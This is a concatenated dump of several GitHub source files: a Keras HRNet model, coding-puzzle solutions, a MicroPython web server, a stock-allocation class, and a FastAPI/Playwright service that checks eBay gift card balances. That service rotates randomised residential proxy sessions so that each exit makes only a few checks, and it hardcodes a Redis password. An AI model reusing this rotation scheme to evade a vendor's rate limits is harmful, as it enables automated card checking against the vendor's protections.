axis')\n\nplt.show()\n\n","repo_name":"young-oct/complex_sporco","sub_path":"examples/scripts/csc/complex_cbpdn.py","file_name":"complex_cbpdn.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"44350803335","text":"from tensorflow.keras import backend as K\nfrom tensorflow.keras.layers import Conv2D\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.layers import Activation\nfrom tensorflow.keras.layers import Input\nfrom tensorflow.keras.layers import UpSampling2D\nfrom tensorflow.keras.layers import Concatenate\nfrom tensorflow.keras.layers import Permute\nfrom tensorflow.keras.layers import Reshape\nfrom tensorflow.keras.layers import Add\nfrom tensorflow.keras.models import Model\nfrom ..layers import ExpectedValue2D\n\n\ndef dense_block(x, blocks, growth_rate):\n for block_arg in range(blocks):\n x1 = Conv2D(4 * growth_rate, 1, use_bias=False)(x)\n x1 = BatchNormalization(epsilon=1.001e-5)(x)\n x1 = Activation('relu')(x1)\n x1 = Conv2D(growth_rate, 3, padding='same', use_bias=False)(x1)\n x1 = BatchNormalization(epsilon=1.001e-5)(x1)\n x1 = Activation('relu')(x1)\n x = Concatenate(axis=-1)([x, x1])\n return x\n\n\ndef residual_block(x, num_kernels, strides=1):\n residual = x\n x = Conv2D(num_kernels, 3, padding='same', use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = Conv2D(num_kernels, 3, padding='same', use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Add()([x, residual])\n x = Activation('relu')(x)\n return x\n\n\ndef transition_block(x, alpha):\n filters = int(K.int_shape(x)[-1] * alpha)\n x = Conv2D(filters, 1, strides=2, use_bias=False)(x)\n x = BatchNormalization(epsilon=1.001e-5)(x)\n x = Activation('relu')(x)\n return x\n\n\ndef stem(x, filters):\n x = Conv2D(filters, 3, padding='same', strides=(2, 2), use_bias=False)(x)\n x = BatchNormalization(epsilon=1.1e-5)(x)\n x = Activation('relu')(x)\n x = Conv2D(filters, 3, padding='same', strides=(2, 2), use_bias=False)(x)\n x = BatchNormalization(epsilon=1.1e-5)(x)\n x = Activation('relu')(x)\n return x\n\n\ndef fuse(tensors, base_kernels=32):\n all_tensors = []\n for x_tensor_arg, x in enumerate(tensors):\n x_to_y_tensors = []\n for y_tensor_arg in range(len(tensors)):\n # step: how much the feature map is upsampled or downsampled\n steps = x_tensor_arg - y_tensor_arg\n\n if steps == 0:\n num_kernels = K.int_shape(x)[-1]\n y = Conv2D(num_kernels, 3, padding='same',\n strides=1, use_bias=False)(x)\n y = BatchNormalization(epsilon=1.1e-5)(y)\n y = Activation('relu')(y)\n\n if steps < 0:\n y = x\n for step in range(abs(steps)):\n num_kernels = int(K.int_shape(x)[-1] * (step + 1))\n y = Conv2D(num_kernels, 3, strides=2,\n padding='same', use_bias=False)(y)\n y = BatchNormalization(epsilon=1.1e-5)(y)\n y = Activation('relu')(y)\n\n if steps > 0:\n num_kernels = int(K.int_shape(x)[-1] / steps)\n y = Conv2D(num_kernels, 1, use_bias=False)(x)\n y = BatchNormalization(epsilon=1.1e-5)(y)\n y = Activation('relu')(y)\n y = UpSampling2D(size=(2**steps, 2**steps))(y)\n\n x_to_y_tensors.append(y)\n all_tensors.append(x_to_y_tensors)\n\n output_tensors = []\n for reciever_arg in range(len(tensors)):\n same_resolution_tensors = []\n for giver_arg in range(len(tensors)):\n tensor = all_tensors[giver_arg][reciever_arg]\n same_resolution_tensors.append(tensor)\n x = Concatenate()(same_resolution_tensors)\n num_kernels = base_kernels * (2 ** (reciever_arg))\n x = Conv2D(num_kernels, 1, use_bias=False)(x)\n x = BatchNormalization(epsilon=1.1e-5)(x)\n x = Activation('relu')(x)\n output_tensors.append(x)\n return output_tensors\n\n\ndef bottleneck(x, filters=64, expansion=4):\n residual = x\n x = Conv2D(filters, 1, use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = Conv2D(filters, 3, padding='same', use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = Conv2D(filters * expansion, 1, use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Add()([x, residual])\n x = Activation('relu')(x)\n return x\n\n\ndef HRNetDense(input_shape=(128, 128, 3), num_keypoints=20, growth_rate=4):\n # stem\n inputs = Input(shape=input_shape)\n x1 = stem(inputs, 64)\n x1 = Conv2D(64 * 4, 1, padding='same', use_bias=False)(x1)\n x1 = BatchNormalization()(x1)\n for block in range(4):\n x1 = bottleneck(x1)\n\n # stage I\n x1 = Conv2D(32, 3, padding='same', use_bias=False)(x1)\n x1 = BatchNormalization()(x1)\n x1 = Activation('relu')(x1)\n x2 = transition_block(x1, 2)\n print('stage 1', x1.shape, x2.shape)\n\n # stage II\n x1 = dense_block(x1, 4, growth_rate)\n x2 = dense_block(x2, 4, growth_rate)\n x1, x2 = fuse([x1, x2])\n x3 = transition_block(x2, 0.5)\n print('stage 2', x1.shape, x2.shape, x3.shape)\n\n # stage III\n x1 = dense_block(x1, 4, growth_rate)\n x2 = dense_block(x2, 4, growth_rate)\n x3 = dense_block(x3, 4, growth_rate)\n x1, x2, x3 = fuse([x1, x2, x3])\n x4 = transition_block(x3, 0.5)\n print('stage 3', x1.shape, x2.shape, x3.shape, x4.shape)\n\n # stage IV\n x1 = dense_block(x1, 3, growth_rate)\n x2 = dense_block(x2, 3, growth_rate)\n x3 = dense_block(x3, 3, growth_rate)\n x4 = dense_block(x4, 3, growth_rate)\n x1, x2, x3, x4 = fuse([x1, x2, x3, x4])\n print('stage 4', x1.shape, x2.shape, x3.shape, x4.shape)\n\n x2 = UpSampling2D(size=(2, 2))(x2)\n x3 = UpSampling2D(size=(4, 4))(x3)\n x4 = UpSampling2D(size=(8, 8))(x4)\n x = Concatenate()([x1, x2, x3, x4])\n\n # head\n x = Conv2D(480, 1)(x)\n x = BatchNormalization(epsilon=1.001e-5)(x)\n x = Activation('relu')(x)\n x = Conv2D(num_keypoints, 1)(x)\n\n # extra\n x = BatchNormalization(epsilon=1.001e-5)(x)\n x = Activation('relu')(x)\n x = UpSampling2D(size=(4, 4), interpolation='bilinear')(x)\n x = Permute([3, 1, 2])(x)\n x = Reshape([num_keypoints, input_shape[0] * input_shape[1]])(x)\n x = Activation('softmax')(x)\n x = Reshape([num_keypoints, input_shape[0], input_shape[1]])(x)\n outputs = ExpectedValue2D(name='expected_uv')(x)\n model = Model(inputs, outputs, name='hrnet-dense')\n return model\n\n\ndef HRNetResidual(input_shape=(128, 128, 3), num_keypoints=20):\n \"\"\"Instantiates HRNET Residual model\n\n # Arguments\n input_shape: List of three elements e.g. ''(H, W, 3)''\n num_keypoints: Int.\n\n # Returns\n Tensorflow-Keras model.\n\n # References\n -[High-Resolution Representations for Labeling Pixels\n and Regions](https://arxiv.org/pdf/1904.04514.pdf)\n \"\"\"\n\n # stem\n inputs = Input(shape=input_shape, name='image')\n x1 = stem(inputs, 64)\n x1 = Conv2D(64 * 4, 1, padding='same', use_bias=False)(x1)\n x1 = BatchNormalization()(x1)\n for block in range(4):\n x1 = bottleneck(x1)\n\n # stage I\n x1 = Conv2D(32, 3, padding='same', use_bias=False)(x1)\n x1 = BatchNormalization()(x1)\n x1 = Activation('relu')(x1)\n x2 = transition_block(x1, 2)\n\n # stage II\n for block in range(4):\n x1 = residual_block(x1, 32)\n x2 = residual_block(x2, 64)\n x1, x2 = fuse([x1, x2])\n x3 = transition_block(x2, 2)\n\n # stage III\n for module in range(4):\n for block in range(4):\n x1 = residual_block(x1, 32)\n x2 = residual_block(x2, 64)\n x3 = residual_block(x3, 128)\n x1, x2, x3 = fuse([x1, x2, x3])\n x4 = transition_block(x3, 2)\n\n # stage IV\n for module in range(3):\n for block in range(4):\n x1 = residual_block(x1, 32)\n x2 = residual_block(x2, 64)\n x3 = residual_block(x3, 128)\n x4 = residual_block(x4, 256)\n x1, x2, x3, x4 = fuse([x1, x2, x3, x4])\n\n # head\n x2 = UpSampling2D(size=(2, 2))(x2)\n x3 = UpSampling2D(size=(4, 4))(x3)\n x4 = UpSampling2D(size=(8, 8))(x4)\n x = Concatenate()([x1, x2, x3, x4])\n x = Conv2D(480, 1)(x)\n x = BatchNormalization(epsilon=1.001e-5)(x)\n x = Activation('relu')(x)\n x = Conv2D(num_keypoints, 1)(x)\n\n # extra\n x = BatchNormalization(epsilon=1.001e-5)(x)\n x = Activation('relu')(x)\n x = UpSampling2D(size=(4, 4), interpolation='bilinear')(x)\n x = Permute([3, 1, 2])(x)\n x = Reshape([num_keypoints, input_shape[0] * input_shape[1]])(x)\n x = Activation('softmax')(x)\n x = Reshape([num_keypoints, input_shape[0], input_shape[1]])(x)\n outputs = ExpectedValue2D(name='keypoints')(x)\n model = Model(inputs, outputs, name='hrnet-residual')\n return model\n","repo_name":"oarriaga/paz","sub_path":"paz/models/keypoint/hrnet.py","file_name":"hrnet.py","file_ext":"py","file_size_in_byte":8755,"program_lang":"python","lang":"en","doc_type":"code","stars":536,"dataset":"github-code","pt":"5"} +{"seq_id":"25792423396","text":"import asyncio\nimport json\nimport os\nimport random\nimport traceback\nfrom contextlib import asynccontextmanager\nfrom datetime import datetime\nimport pytz\n\nfrom fastapi import FastAPI, status\nfrom fastapi.responses import JSONResponse\nfrom loguru import logger\nfrom redis.asyncio import Redis\n\nfrom playwright_crawl.config.settings import OX_PROXY, SM_PROXY, BD_PROXY, SM_SOCKS, HEADLESS\nfrom playwright_crawl.utils.scheduler import Scheduler\n\nPORT_LIST = os.environ.get('PORTS', '').split(',')\nLOG_NAME = os.environ.get('LOG_NAME', 'logs')\nREDIS_HOST = os.environ.get('REDIS_HOST', 'localhost')\nHDL = os.environ.get('HEADLESS', HEADLESS)\nENV = os.environ.get('ENV', 'dev')\nPROXY_CHOICE = os.environ.get('PROXY_CHOICE', 'BD_PROXY')\n\nif HDL.lower() == 'true':\n HDL = True\nelse:\n HDL = False\n\nif ENV.lower()== 'prod':\n logger.remove(0)\nlogger.add(os.path.join('logs', LOG_NAME), rotation=\"1 day\", retention=\"7 days\", level='DEBUG')\n\nPORT_DISABLED_INTERVAL = 600\nPORT_RENEW_INTERVAL = PORT_DISABLED_INTERVAL + 10\n\nr = Redis(host=REDIS_HOST, password='IamtheBest1!', db=0, decode_responses=True)\npw_inst = {}\n\n\nasync def run_command(cmd, wait_ouput=True):\n process = await asyncio.create_subprocess_shell(\n cmd,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE\n )\n \n if wait_ouput:\n stdout, stderr = await process.communicate()\n\n if process.returncode == 0:\n logger.debug(f'[{cmd!r} exited with {process.returncode}]')\n logger.debug(stdout.decode().strip())\n return True\n else:\n logger.debug(f'[{cmd!r} exited with {process.returncode}]')\n logger.debug(stderr.decode().strip())\n return False\n else:\n return process\n\n\nasync def active_port_monitor():\n while True:\n proxy_port_list = [i for i in await r.zrange('active_port', 0, -1, desc=True, withscores=True)\n if json.loads(i[0])['port'] in PORT_LIST and\n (json.loads(i[0])['count'] < 1 or (datetime.timestamp(datetime.now(pytz.timezone('Asia/Shanghai'))) - i[1]) > PORT_DISABLED_INTERVAL)]\n for i in proxy_port_list:\n dict_i = json.loads(i[0])\n logger.debug(f'Found timeout port {dict_i[\"port\"]}, and moving it to disabled_port')\n\n if pw_inst.get(dict_i[\"port\"]):\n scheduler = pw_inst[dict_i[\"port\"]]\n await scheduler.close()\n scheduler = None\n logger.info(f'Browser of port {dict_i[\"port\"]} is closed and related PW instance is cleared.')\n\n await r.zadd('disabled_port', {json.dumps(dict_i): i[1]}, nx=True)\n await r.zrem('active_port', json.dumps(dict_i))\n break\n await asyncio.sleep(2)\n\n\nasync def renew_port_monitor():\n async def renew_browser(proxy_str):\n proxy = json.loads(proxy_str)\n logger.debug(f'Processing {proxy}')\n await start_browser(proxy[\"port\"])\n\n while True:\n disable_proxy_port_list = [i for i in await r.zrange('disabled_port', 0, -1, withscores=True)\n if json.loads(i[0])['port'] in PORT_LIST and\n ((datetime.timestamp(datetime.now(pytz.timezone('Asia/Shanghai'))) - i[1]) > PORT_RENEW_INTERVAL or\n json.loads(i[0])['count'] < 1)]\n\n if len(disable_proxy_port_list) > 0:\n for i in disable_proxy_port_list:\n await r.zrem('disabled_port', json.dumps(json.loads(i[0])))\n asyncio.create_task(renew_browser(i[0]))\n\n await asyncio.sleep(2)\n\nasync def init_start_browser(port, wait_time=10):\n await asyncio.sleep(wait_time)\n await start_browser(port)\n\n@asynccontextmanager\n@logger.catch\nasync def lifespan(app: FastAPI):\n\n await r.flushall()\n\n await asyncio.gather(*[init_start_browser(port, index*60) for index, port in enumerate(PORT_LIST)])\n\n active_port_monitor_task = asyncio.create_task(active_port_monitor())\n renew_port_monitor_task = asyncio.create_task(renew_port_monitor())\n\n yield\n\n active_port_monitor_task.cancel()\n renew_port_monitor_task.cancel()\n await r.close()\n\n\napp = FastAPI(lifespan=lifespan)\n\n# @app.get(\"/start-browser\")\nasync def start_browser(port: str):\n max_retries = 10\n retries = 0\n scheduler = None\n\n while retries < max_retries:\n try:\n logger.debug(f'Working on start browser {retries + 1} times')\n print(PROXY_CHOICE)\n if PROXY_CHOICE.lower() == 'bd_proxy':\n this_proxy = BD_PROXY.copy()\n this_proxy['username'] = this_proxy['username'] % str(random.randint(20001, 29999))\n elif PROXY_CHOICE.lower() == 'sm_proxy':\n this_proxy = SM_PROXY.copy()\n this_proxy['server'] = this_proxy['server'] % str(random.randint(10001, 10999))\n elif PROXY_CHOICE.lower() == 'ox_proxy':\n this_proxy = OX_PROXY.copy()\n this_proxy['username'] = this_proxy['username'] % str(random.randint(20001, 29999))\n elif PROXY_CHOICE.lower() == 'sm_socks':\n this_proxy = SM_PROXY.copy()\n this_proxy['server'] = this_proxy['server'] % str(random.randint(10001, 10999))\n \n proxy_port = {'proxy': this_proxy.copy(), 'count': 4, 'port': port}\n logger.debug(proxy_port)\n\n scheduler = Scheduler(\n headless=HDL,\n proxy=this_proxy,\n port=port\n )\n \n await scheduler.init_browser()\n await scheduler.register_mission()\n pw_inst[port] = scheduler\n \n create_time = datetime.timestamp(datetime.now(pytz.timezone('Asia/Shanghai')))\n proxy_port_str = json.dumps(proxy_port)\n await r.zadd('active_port', {proxy_port_str: create_time}, nx=True)\n break\n \n except Exception as e:\n retries += 1\n logger.debug('Terminate Browser while start browser function')\n if pw_inst.get(port):\n pw_inst[port] = None\n try:\n # with open(f\"logs/error_page_{datetime.now()}.html\", \"w\") as f:\n # f.write(await scheduler.page.content())\n await scheduler.close()\n except:\n pass\n logger.debug(traceback.format_exc())\n\n\n@app.get(\"/hello\")\nasync def hello():\n return JSONResponse(status_code=status.HTTP_200_OK,\n content={\"status\": \"success\", \"message\": \"Hello World!\"})\n\n@app.get('/check-balance')\n@logger.catch\nasync def check_balance(gift_card_no: str):\n try:\n if len(gift_card_no) != 13:\n return JSONResponse(status_code=status.HTTP_406_NOT_ACCEPTABLE,\n content={\"status\": \"error\", \"message\": \"Please Enter a 13-digits number!\"})\n\n proxy_port_list = [i for i in await r.zrange('active_port', 0, -1, desc=False, withscores=True) if\n json.loads(i[0])['port'] in PORT_LIST and json.loads(i[0])['count'] > 0]\n\n for i in proxy_port_list:\n create_time = i[1]\n dict_i = json.loads(i[0])\n logger.debug(f'Using {dict_i}')\n\n if pw_inst.get(dict_i['port']):\n scheduler = pw_inst[dict_i['port']]\n balance = await scheduler.check_balance(gift_card_no)\n\n # 更新proxy的count,重新加入active_port\n new_dict_i = dict_i.copy()\n new_dict_i['count'] -= 1\n await r.zadd('active_port', {json.dumps(new_dict_i): create_time}, nx=True)\n await r.zrem('active_port', json.dumps(dict_i))\n\n return JSONResponse(status_code=status.HTTP_200_OK,\n content={\"status\": \"success\", \"message\": \"Web is ready!\", \"balance\": balance})\n\n return JSONResponse(status_code=status.HTTP_503_SERVICE_UNAVAILABLE,\n content={\"status\": \"error\", \"message\": \"No available browser! Please try again later.\"})\n except Exception as e:\n logger.debug(traceback.format_exc())\n return JSONResponse(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n content={\"status\": \"error\", \"message\": str(e)})\n","repo_name":"ZiqiXiao/ebay-balance-playwright","sub_path":"fastapi-webdriver-manager/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11062722958","text":"def f(n):\n\ta=0\n\tb=1\n\tfor i in range(n):\n\t\ta,b=b,a+b\n\treturn a\n\ndef goldener_schnitt(praezision):\n\tl=2\n\twhile praezision >= f(2*l-3)*f(2*l-2):\n\t\tl+=1\n\tl-=1\n\tplist=[l,(f(2*l),f(2*l-1)),(f(2*l+1),f(2*l))]\n\treturn plist\n","repo_name":"proehr/CoMa","sub_path":"PA04.py","file_name":"PA04.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73725856152","text":"class Solution:\r\n def updateMatrix(self, matrix: List[List[int]]) -> List[List[int]]:\r\n row_size = len(matrix)\r\n col_size = len(matrix[0])\r\n\r\n dist = [[None] * col_size for _ in range(row_size)]\r\n\r\n queue = []\r\n for r in range(row_size):\r\n for c in range(col_size):\r\n if matrix[r][c] == 0:\r\n dist[r][c] = 0\r\n queue.append((r, c, 0))\r\n\r\n directions = [(1, 0), (-1, 0), (0, 1), (0, -1)]\r\n # bfs\r\n while queue:\r\n new_queue = []\r\n for r, c, d in queue:\r\n for dr, dc in directions:\r\n nr, nc = r+dr, c+dc\r\n if 0<=nr= self.content_length:\n # We've already read in this frame, so wait for the next loop\n # before processing the body. To do this we switch the socket\n # into write mode so that the poller will mark us as ready in\n # every frame until we actually start writing.\n poller.unregister(self.socket)\n poller.register(self.socket, select.POLLOUT | select.POLLERR)\n self.phase = 'handle_request'\n\n elif self.phase == 'handle_request':\n handler, args = self.server.find_route(self.method, self.path)\n status, headers, body = handler(*args)\n status_message = self.server.status_map.get(status, 'Unknown Code')\n body = bytes(body, 'ascii')\n self.outstream = bytes(\"HTTP/1.0 {} {}\\r\\n\".format(status, status_message), 'ascii')\n for key, value in headers:\n self.outstream += bytes(\"{}: {}\\r\\n\".format(key, value), 'ascii')\n self.outstream += b\"\\r\\n\"\n self.outstream += body\n self.phase = 'write'\n\n elif self.phase == 'write':\n sent_bytes = self.socket.send(self.outstream)\n if sent_bytes == len(self.outstream):\n poller.unregister(self.socket)\n self.socket.close()\n return False\n self.outstream = self.outstream[sent_bytes:]\n\n return True\n\n","repo_name":"terrence2/OpenActuator","sub_path":"OpenActuator/app_a/htserver.py","file_name":"htserver.py","file_ext":"py","file_size_in_byte":6450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73955008151","text":"import numpy as np\nimport pandas as pd\n\n\nclass TransactionDeterminer:\n def __init__(\n self, metrics, next_day_distributions, buy_stats, frac_in,\n p_stats0_buy, transact_if):\n self._df = metrics\n self.next_day_distributions = next_day_distributions\n self.buy_stats = buy_stats\n self.frac_in = frac_in\n self.p_stats0_buy = p_stats0_buy\n self.transact_if = transact_if\n\n @property\n def df(self):\n return self._df\n\n def compile_data(self):\n self._add_account_indicators()\n self._add_status()\n self._add_scaled_sharpes()\n self._get_status_weights()\n self._get_et_proportions()\n self._get_fid_proportions()\n self._get_tdam_proportions()\n \n def _add_account_indicators(self):\n df_stocks = set(self._df.index)\n bs_stocks = set(self.buy_stats.index)\n print('bs only:', bs_stocks - df_stocks)\n print('df only:', df_stocks - bs_stocks)\n self._df = pd.concat(\n [self._df,\n self.buy_stats[[\n 'inEt', 'inFid', 'in_self_managed', 'currentlyActive']]],\n axis=1)\n \n def _add_status(self):\n SCALED_BOUNDS = 5\n self._df['status'] = self._get_harmonic_mean(\n 'RSI', 'fair_value_mult', 'geomean')\n self._df['status_scaled'] = (\n (0.6 * np.tan(3 * (1 - self._df['status']) - 1.5))\n .clip(-SCALED_BOUNDS, SCALED_BOUNDS))\n\n def _get_harmonic_mean(self, *cols):\n n_cols = len(cols)\n recip_sum = 0\n for col in cols:\n recip_sum += 1 / self._df[col]\n return n_cols / recip_sum\n\n def _get_status_weights(self):\n self._df['sharpe_adj_status'] = (\n self._df.sharpe_scaled ** self._df.status_scaled)\n self._df['w_sharpe_adj_status'] = (\n self._df.weighted_sharpe_scaled ** self._df.status_scaled)\n self._df['mean_sharpe_adj_status'] = (\n (self._df.sharpe_adj_status + self._df.w_sharpe_adj_status) / 2)\n\n def _add_scaled_sharpes(self):\n for col in ['sharpe', 'weighted_sharpe']:\n lower = self._df[col].quantile(q=0.02)\n upper = self._df[col].quantile(q=0.98)\n self._df[f'{col}_capped'] = self._df[col].clip(lower, upper)\n min_capped = self._df[f'{col}_capped'].min()\n self._df[f'{col}_scaled'] = (\n self._df[f'{col}_capped'] - min_capped + 1)\n \n def _get_et_proportions(self):\n prop_et = (\n (self._df.sharpe_scaled**4)\n * self._df.w_sharpe_adj_status\n * self._df.inEt)\n prop_sum = prop_et.sum()\n # Originally 0.05, but led to an actual cap closer to 0.17 when\n # renormalized\n capped_et = prop_et.apply(lambda x: min(x, 0.001*prop_sum)) \n self._df['et_norm'] = capped_et / capped_et.sum()\n \n def _get_fid_proportions(self):\n prop_fid = (\n (self._df.weighted_sharpe_scaled**4)\n * self._df.sharpe_adj_status\n * self._df.inFid)\n prop_sum = prop_fid.sum()\n capped_fid = prop_fid.apply(lambda x: min(x, 0.01*prop_sum))\n self._df['fid_norm'] = capped_fid / capped_fid.sum()\n\n def _get_tdam_proportions(self):\n prop_tdam = (\n (self._df.weighted_sharpe_scaled**4)\n * self._df.mean_sharpe_adj_status\n * self._df.in_self_managed\n * self._df.currentlyActive)\n prop_sum = prop_tdam.sum()\n capped_tdam = prop_tdam.apply(lambda x: min(x, 0.01*prop_sum))\n self._df['tdam_norm'] = capped_tdam / capped_tdam.sum()\n\n def get_target_amounts(self, account, amount):\n print(f'Getting target amounts for {account}...')\n self._df[f'{account}_target'] = (\n amount * self.frac_in * self._df[f'{account}_norm'])\n self._df[f'{account}_diff'] = (\n self._df[f'{account}_target'] - self._df[account])\n\n def get_bid_ask_prices(self, account):\n print(f'Getting bid and ask prices for {account}...')\n bid_ask_multiplier = (\n self\n ._df[['direction', 'status_scaled', f'{account}_diff']]\n .apply(lambda row: self._get_bid_ask(row, account), axis=1))\n self._df[f'{account}_bid_ask'] = bid_ask_multiplier * self._df.price\n \n def _get_bid_ask(self, row, account):\n try:\n distr = self._get_status_distribution(row, account)\n q = self._get_bid_ask_quantile_from_status_scaled(\n row.status_scaled, account, row[f'{account}_diff'])\n return distr.quantile(q=q)\n except:\n print('row:')\n print(row)\n print('acct:', account)\n distr = self._get_status_distribution(row, account)\n print('distr:')\n print(distr)\n print(\n 'Notice this error sometimes due to bad data from Yahoo. '\n 'Just retry.')\n raise\n\n def _get_status_distribution(self, row, account):\n symbol = row.name\n trend = row.direction\n high_low = 'low' if row[f'{account}_diff'] > 0 else 'high'\n distr = self.next_day_distributions.loc[\n self.next_day_distributions[f'{symbol}_trend'] == trend,\n f'{symbol}_{high_low}_mult']\n distr = distr[distr.notnull()]\n return distr\n\n def _get_bid_ask_quantile_from_status_scaled(self, status, account, diff):\n # Prob of which buy/sell should happen given neutral status (0)\n #P_STATUS0_BUY = {'et': 0.3, 'fid': 0.4, 'tdam': 0.5}[account]\n P_STATUS0_BUY = self.p_stats0_buy[account]\n # P(buy/sell) at state =\n # p_stat0_buy 0 1 2 3 4 5\n # 0.01 0.01 0.20 0.39 0.57 0.76 0.95\n # 0.02 0.02 0.21 0.39 0.58 0.76 0.95\n # 0.05 0.05 0.23 0.41 0.59 0.77 0.95\n # 0.10 0.10 0.27 0.44 0.61 0.78 0.95\n # 0.20 0.20 0.35 0.50 0.65 0.80 0.95\n # 0.50 0.50 0.59 0.68 0.77 0.86 0.95\n P_STATUS0 = (\n P_STATUS0_BUY['buy'] if diff >= 0 else 1 - P_STATUS0_BUY['sell'])\n MIN_P = 0.01 # p(buy | strong sell sig) or vice versa\n MAX_P = 0.95 # p(buy | strong buy sig) ...\n # Piecewise linear interpolation: y = mx + b: b = P_STATUS_0\n # rise = P_STATUS0 - MIN if negative status (sell signal)\n # rise = MAX - P_STATUS0 if + status (buy signal)\n rise = P_STATUS0 - MIN_P if status <= 0 else MAX_P - P_STATUS0\n m = rise / 5\n q = m*status + P_STATUS0\n return q\n\n def get_n_shares_to_buy_or_sell(self, account):\n print('Determining ideal number of shares to buy/sell...')\n self._df[f'{account}_nshares'] = (\n self._df[f'{account}_diff'] / self._df[f'{account}_bid_ask'])\n self._df[f'{account}_nshares'].replace(\n [np.inf, -np.inf, np.nan], 0, inplace=True)\n self._df[f'{account}_nshares'] = (\n self._df[f'{account}_nshares'].round().astype(int))\n\n def list_transactions(self, account, invested_amt, daily_transaction_amt):\n ''' Determine the specific stocks and no. shares to buy/sell each day\n Args:\n - account (str): account name\n - invested_amt (float): total $ that should be invested as of today for\n \n - daily_transaction_amt (float): ideal amt to buy/sell each day (may be\n more if % funds invested changes).\n '''\n print('Getting transactions...')\n self._df['up_down'] = 1 * (self._df[f'{account}_diff'] > 0)\n self._df['exact_amt'] = (\n self._df[f'{account}_nshares'] * self._df[f'{account}_bid_ask'])\n err = self._df[f'{account}_diff'].sum() # optimal amount to buy/sell\n print(\n f'Ideal invested amt: ${invested_amt:,.2f}\\n'\n f'Currently off by: ${err:,.2f}\\n'\n f'Ideal transaction amt: ${daily_transaction_amt:,.2f}')\n if abs(err) >= daily_transaction_amt:\n # all buys or all sells\n if err < 0:\n print('Just selling today\\n')\n self._handle_transactions(account, err, 'sell', 'curr')\n else:\n print('Just buying today\\n')\n self._handle_transactions(account, err, 'buy', 'curr')\n else:\n print('Buying and selling today\\n')\n primary = abs(err)\n remainder = daily_transaction_amt - primary\n primary += remainder / 2\n secondary = remainder / 2\n if err <= 0:\n # primary is sell\n self._handle_transactions(account, primary, 'sell', 'curr')\n print()\n self._handle_transactions(account, secondary, 'buy', 'opp')\n else:\n # primary is buy\n self._handle_transactions(account, primary, 'buy', 'curr')\n print()\n self._handle_transactions(account, secondary, 'sell', 'opp')\n\n def _sort_by_transaction_order(self, transaction_type):\n if transaction_type == 'sell':\n ascending = [True, True]\n elif transaction_type == 'buy':\n ascending = [False, False]\n else:\n raise ValueError('transaction_type must be \"buy\" or \"sell\"')\n self._df.sort_values(\n ['up_down', 'status_scaled'], ascending=ascending, inplace=True)\n\n def _handle_transactions(self, account, err, transaction_type, curr_opp):\n self._sort_by_transaction_order(transaction_type)\n cum = self._df.exact_amt.cumsum()\n for i, (trans_total, symbol, shares, bid_ask, status) in enumerate(\n zip(\n cum,\n self._df.index,\n self._df[f'{account}_nshares'],\n self._df[f'{account}_bid_ask'],\n self._df.status_scaled)):\n if shares == 0:\n continue\n thresh = self.transact_if[account][curr_opp]\n if abs(status) < thresh:\n if transaction_type == 'buy':\n diff = thresh - abs(status)\n shares = int(round(shares * (2 ** -diff)))\n\n # Comment out to see sales even if below threshold\n #if transaction_type == 'sell' and status > -thresh:\n # shares = 0\n\n if ((transaction_type == 'buy' and shares > 0)\n or (transaction_type == 'sell' and shares < 0)):\n print(\n f'{transaction_type.title():4s} {shares:+4d} shares of '\n f'{symbol:5s} at ${bid_ask:7,.2f} (Total: '\n f'${abs(shares) * bid_ask:9,.2f}) '\n f'Status: {status:.3f}')\n if abs(trans_total) >= abs(err):\n return\n","repo_name":"damiansp/marketModeling","sub_path":"daily/transacting.py","file_name":"transacting.py","file_ext":"py","file_size_in_byte":10961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73956151513","text":"# 2019/09/08\r\n# ようつべ解説観て\r\n\r\nn,k=map(int,input().split())\r\ns=list(input())\r\n\r\ncnt=0\r\nres=0\r\nfor i in range(n-1):\r\n if s[i]==s[i+1]:\r\n res+=1\r\n else:\r\n cnt+=1\r\nres+=min(cnt,k)*2\r\nres=min(n-1,res)\r\n\r\nprint(res)\r\n","repo_name":"cale-i/atcoder","sub_path":"AtCoder/ABC140/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15906708178","text":"\"\"\"\n * 总共有 n 个人和 40 种不同的帽子,帽子编号从 1 到 40 。\n * 给你一个整数列表的列表 hats ,其中 hats[i] 是第 i 个人所有喜欢帽子的列表。\n * 请你给每个人安排一顶他喜欢的帽子,确保每个人戴的帽子跟别人都不一样,并返回方案数。\n * 由于答案可能很大,请返回它对 10^9 + 7 取余后的结果。\n * 提示:\n * 1、n == hats.length\n * 2、1 <= n <= 10\n * 3、1 <= hats[i].length <= 40\n * 4、1 <= hats[i][j] <= 40\n * 5、hats[i] 包含一个数字互不相同的整数列表。\n * 链接:https://leetcode.cn/problems/number-of-ways-to-wear-different-hats-to-each-other/\n\"\"\"\nfrom collections import defaultdict\nfrom functools import cache\nfrom typing import List\n\n\nclass Solution:\n # low_bit = m & (-m)\n def numberWays(self, hats: List[List[int]]) -> int:\n # 需要转换为帽子找人\n MOD = 10**9 + 7\n n = len(hats)\n p = defaultdict(list)\n for i, hat in enumerate(hats):\n for h in hat:\n p[h].append(i)\n hs = list(p.keys())\n\n @cache\n def dfs(idx, mark): # hat_idx, n_hat\n if mark.bit_count() == n: return 1\n if idx == len(hs): return 0\n ret = dfs(idx + 1, mark)\n for h in p[hs[idx]]:\n if mark & 1 << h: continue\n ret += dfs(idx + 1, mark | 1 << h)\n return ret % MOD\n\n return dfs(0, 